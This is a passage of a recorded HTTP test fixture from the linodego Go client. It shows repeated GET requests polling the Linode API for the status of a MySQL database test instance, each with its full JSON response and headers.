"hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" 